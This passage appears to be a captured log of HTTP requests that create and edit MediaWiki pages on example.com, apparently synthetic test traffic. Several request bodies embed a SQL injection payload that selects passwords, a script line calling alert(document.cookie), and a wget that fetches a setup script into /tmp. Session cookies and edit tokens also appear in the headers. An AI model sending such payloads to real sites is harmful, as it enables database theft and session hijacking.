^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI--\r\n"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3319", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZQBAD49UylBGXkuE", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE--\r\n"}
{"method": "GET", "target": "/wiki/Ls_-la_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision10=created; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 285", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=10&text=%3D%3D+Install+%3D%3D%0ARun+ls+-la+and+ls+-la.%0A&token=8fac1bdf706f6473175c200445103a4f6af2267e%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 293", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+ls+-la&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=10&stashedtexthash=f07484bed3f5b98cd35dde3b0bd6cdf21f92e3a9&token=8fac1bdf706f6473175c200445103a4f6af2267e%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2117", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3GpLRJRpxgavKDbi", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200102\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n10\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n10\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun ls -la and ls -la.\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ ls -la\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n8fac1bdf706f6473175c200445103a4f6af2267e+\\\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi--\r\n"}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Ls+-la+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=ls+-la&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Ls+-la+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+ls+-la.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=ls&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1673", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 323", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3220", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLoHFNq5gnNDYTlcP", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; 